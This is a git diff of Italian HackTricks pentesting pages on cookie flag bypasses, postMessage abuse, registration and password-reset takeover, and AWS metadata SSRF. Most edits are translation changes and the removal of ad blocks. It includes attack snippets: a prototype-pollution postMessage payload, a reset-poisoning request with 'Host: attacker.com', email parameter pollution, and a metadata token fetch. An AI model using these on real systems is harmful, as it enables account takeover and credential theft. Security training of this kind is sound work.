**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo SameSite** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza una politica SameSite** **in Chrome saranno** **trattati come None** durante i **primi 2 minuti e poi come Lax per le richieste POST cross-site di livello superiore.**
|
||||
**\*Nota che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza un attributo same-site** **sarà lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza una policy SameSite** in Chrome saranno **trattati come None** durante i **primi 2 minuti e poi come Lax per le richieste POST cross-site di livello superiore.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Questo impedisce al **client** di accedere al cookie (Via **Javascript** ad esempio: `document.cookie`)
|
||||
Questo impedisce al **client** di accedere al cookie (ad esempio tramite **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
|
||||
* Se la pagina **invia i cookie come risposta** a una richiesta (ad esempio in una pagina **PHPinfo**), è possibile abusare dell'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**.
|
||||
* Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come inviare `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
|
||||
* Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser.
|
||||
* Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come l'invio di `\r\nTRACE` invece di `TRACE` a IE6.0 SP2.
|
||||
* Un altro modo è lo sfruttamento di vulnerabilità zero-day dei browser.
|
||||
* È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
|
@ -194,13 +187,13 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
```
|
||||
#### Vulnerabilità di Iniezione dei Cookie
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) L'analisi errata dei cookie da parte dei server, in particolare Undertow, Zope e quelli che utilizzano `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` di Python, crea opportunità per attacchi di iniezione dei cookie. Questi server non delimitano correttamente l'inizio di nuovi cookie, consentendo agli attaccanti di falsificare i cookie:
|
||||
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) L'analisi errata dei cookie da parte dei server, in particolare Undertow, Zope e quelli che utilizzano `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` di Python, crea opportunità per attacchi di iniezione dei cookie. Questi server non delimitano correttamente l'inizio di nuovi cookie, consentendo agli attaccanti di falsificare i cookie:
|
||||
|
||||
* Undertow si aspetta un nuovo cookie immediatamente dopo un valore tra virgolette senza un punto e virgola.
|
||||
* Zope cerca una virgola per iniziare a analizzare il cookie successivo.
|
||||
* Le classi di cookie di Python iniziano a analizzare su un carattere di spazio.
|
||||
|
||||
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF basata su cookie, poiché consente agli attaccanti di iniettare cookie CSRF-token falsificati, potenzialmente eludendo le misure di sicurezza. Il problema è aggravato dalla gestione di nomi di cookie duplicati da parte di Python, dove l'ultima occorrenza sovrascrive quelle precedenti. Solleva anche preoccupazioni per i cookie `__Secure-` e `__Host-` in contesti insicuri e potrebbe portare a bypass di autorizzazione quando i cookie vengono passati a server back-end suscettibili alla falsificazione.
|
||||
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF basata su cookie, poiché consente agli attaccanti di iniettare cookie CSRF-token falsificati, potenzialmente eludendo le misure di sicurezza. Il problema è aggravato dalla gestione di nomi di cookie duplicati da parte di Python, dove l'ultima occorrenza sovrascrive quelle precedenti. Solleva anche preoccupazioni per i cookie `__Secure-` e `__Host-` in contesti insicuri e potrebbe portare a bypass di autorizzazione quando i cookie vengono passati a server di back-end suscettibili alla falsificazione.
|
||||
|
||||
### Controlli Extra per Cookie Vulnerabili
|
||||
|
||||
|
@ -219,7 +212,7 @@ Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che s
|
|||
Se il cookie rimane lo stesso (o quasi) quando accedi, questo probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente il nome utente). Allora puoi:
|
||||
|
||||
* Provare a creare molti **account** con nomi utente molto **simili** e cercare di **indovinare** come funziona l'algoritmo.
|
||||
* Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
||||
* Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con il nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
||||
* Provare **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**.
|
||||
|
||||
**Padding Oracle - Esempi di Padbuster**
|
||||
|
@ -270,23 +263,18 @@ Dovrebbe esserci un modello (con la dimensione di un blocco utilizzato). Quindi,
|
|||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,21 +17,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Send **PostMessage**
|
||||
## Invia **PostMessage**
|
||||
|
||||
**PostMessage** utilizza la seguente funzione per inviare un messaggio:
|
||||
```bash
|
||||
|
@ -60,10 +47,10 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
|
||||
Nello **scenario secondario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
|
||||
Se viene utilizzato il **carattere jolly**, i **messaggi potrebbero essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
|
||||
Nel **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
|
||||
Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
|
||||
|
||||
### Attacco iframe & carattere jolly in **targetOrigin**
|
||||
### Attacco iframe e carattere jolly in **targetOrigin**
|
||||
|
||||
Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leak** il **messaggio sensibile** a un dominio controllato da te.\
|
||||
Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
|
||||
|
@ -118,13 +105,13 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
|
|||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
|
||||
* Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
|
||||
* La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, l'`escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
|
||||
* La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, la `escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
|
||||
|
||||
* Fallimento previsto:
|
||||
|
||||
|
@ -146,11 +133,11 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab
|
|||
|
||||
### e.origin == window.origin bypass
|
||||
|
||||
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è fondamentale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità.
|
||||
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e sulla funzionalità.
|
||||
|
||||
Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
|
||||
|
||||
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine `null`.
|
||||
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia l'invio che la ricezione hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
|
||||
|
||||
Per ulteriori informazioni **leggi**:
|
||||
|
||||
|
@ -158,7 +145,7 @@ Per ulteriori informazioni **leggi**:
|
|||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypassare e.source
|
||||
### Bypass di e.source
|
||||
|
||||
È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
|
||||
```javascript
|
||||
|
@ -235,21 +222,10 @@ Per **maggiori informazioni**:
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* Per esercitarsi: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **stealer malwares**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -257,7 +233,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,24 +10,11 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le prese di controllo degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Presa di Controllo della Registrazione
|
||||
|
||||
|
@ -50,13 +37,13 @@ Controlla se riesci a capire quando un nome utente è già stato registrato all'
|
|||
### Politica delle Password
|
||||
|
||||
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
|
||||
In tal caso potresti provare a bruteforare le credenziali.
|
||||
In tal caso potresti provare a bruteforza le credenziali.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
[**Controlla questa pagina** ](sql-injection/#insert-statement)per imparare come tentare prese di controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
|
||||
[**Controlla questa pagina** ](sql-injection/#insert-statement)per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
|
||||
|
||||
### Presa di Controllo Oauth
|
||||
### Oauth Takeovers
|
||||
|
||||
{% content-ref url="oauth-to-account-takeover.md" %}
|
||||
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
||||
|
@ -76,7 +63,7 @@ Quando registrato prova a cambiare l'email e controlla se questo cambiamento è
|
|||
|
||||
* Controlla se puoi usare **email usa e getta**
|
||||
* **Password** **Lunghe** (>200) portano a **DoS**
|
||||
* **Controlla i limiti di frequenza sulla creazione degli account**
|
||||
* **Controlla i limiti di velocità sulla creazione degli account**
|
||||
* Usa username@**burp\_collab**.net e analizza il **callback**
|
||||
|
||||
## **Presa di Controllo del Reset della Password**
|
||||
|
@ -86,7 +73,7 @@ Quando registrato prova a cambiare l'email e controlla se questo cambiamento è
|
|||
1. Richiedi il reset della password al tuo indirizzo email
|
||||
2. Clicca sul link di reset della password
|
||||
3. Non cambiare la password
|
||||
4. Clicca su qualsiasi sito di terze parti (es: Facebook, Twitter)
|
||||
4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
|
||||
5. Intercetta la richiesta nel proxy di Burp Suite
|
||||
6. Controlla se l'intestazione referer sta rivelando il token di reset della password.
|
||||
|
||||
|
@ -98,7 +85,7 @@ Quando registrato prova a cambiare l'email e controlla se questo cambiamento è
|
|||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Cerca un URL di reset della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Reset della Password Tramite Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Reset della Password Via Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
@ -130,8 +117,8 @@ Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi,
|
|||
* Timestamp
|
||||
* UserID
|
||||
* Email dell'utente
|
||||
* Nome e cognome
|
||||
* Data di nascita
|
||||
* Nome e Cognome
|
||||
* Data di Nascita
|
||||
* Criptografia
|
||||
* Solo numeri
|
||||
* Sequenza di token piccola (caratteri tra \[A-Z,a-z,0-9])
|
||||
|
@ -189,7 +176,7 @@ Hackerone riporta l'esploitazione di questo bug\
|
|||
|
||||
### Presa di Controllo dell'Account tramite JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||
|
||||
JSON Web Token potrebbe essere utilizzato per autenticare un utente.
|
||||
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
|
||||
|
||||
* Modifica il JWT con un altro ID Utente / Email
|
||||
* Controlla la firma JWT debole
|
||||
|
@ -202,17 +189,6 @@ JSON Web Token potrebbe essere utilizzato per autenticare un utente.
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere le prese di controllo degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -224,7 +200,7 @@ Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,29 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Abusare di SSRF nell'ambiente AWS EC2
|
||||
### Abusing SSRF in AWS EC2 environment
|
||||
|
||||
**L'endpoint dei metadati** può essere accessibile da qualsiasi macchina EC2 e offre informazioni interessanti su di essa. È accessibile all'url: `http://169.254.169.254` ([informazioni sui metadati qui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**L'endpoint** metadata può essere accesso da qualsiasi macchina EC2 e offre informazioni interessanti su di essa. È accessibile all'url: `http://169.254.169.254` ([informazioni sull'endpoint metadata qui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Ci sono **2 versioni** dell'endpoint dei metadati. La **prima** consente di **accedere** all'endpoint tramite richieste **GET** (quindi qualsiasi **SSRF può sfruttarlo**). Per la **versione 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), è necessario richiedere un **token** inviando una richiesta **PUT** con un **header HTTP** e poi utilizzare quel token per accedere ai metadati con un altro header HTTP (quindi è **più complicato abusarne** con un SSRF).
|
||||
Ci sono **2 versioni** dell'endpoint metadata. La **prima** consente di **accedere** all'endpoint tramite richieste **GET** (quindi qualsiasi **SSRF può sfruttarlo**). Per la **versione 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), è necessario richiedere un **token** inviando una richiesta **PUT** con un **header HTTP** e poi utilizzare quel token per accedere ai metadata con un altro header HTTP (quindi è **più complicato da abusare** con un SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che se l'istanza EC2 sta forzando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadati EC2 da un container all'interno dell'istanza EC2.
|
||||
Nota che se l'istanza EC2 sta forzando IMDSv2, [**secondo la documentazione**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **risposta della richiesta PUT** avrà un **limite di hop di 1**, rendendo impossibile accedere ai metadata EC2 da un container all'interno dell'istanza EC2.
|
||||
|
||||
Inoltre, **IMDSv2** bloccherà anche **le richieste per ottenere un token che includono l'header `X-Forwarded-For`**. Questo serve a prevenire che proxy inversi mal configurati possano accedervi.
|
||||
Inoltre, **IMDSv2** bloccherà anche **le richieste per ottenere un token che includono l'header `X-Forwarded-For`**. Questo per prevenire che proxy inversi mal configurati possano accedervi.
|
||||
{% endhint %}
|
||||
|
||||
Puoi trovare informazioni sugli [endpoint dei metadati nella documentazione](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Nel seguente script vengono ottenute alcune informazioni interessanti da esso:
|
||||
Puoi trovare informazioni sugli [endpoint metadata nella documentazione](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Nel seguente script vengono ottenute alcune informazioni interessanti da esso:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
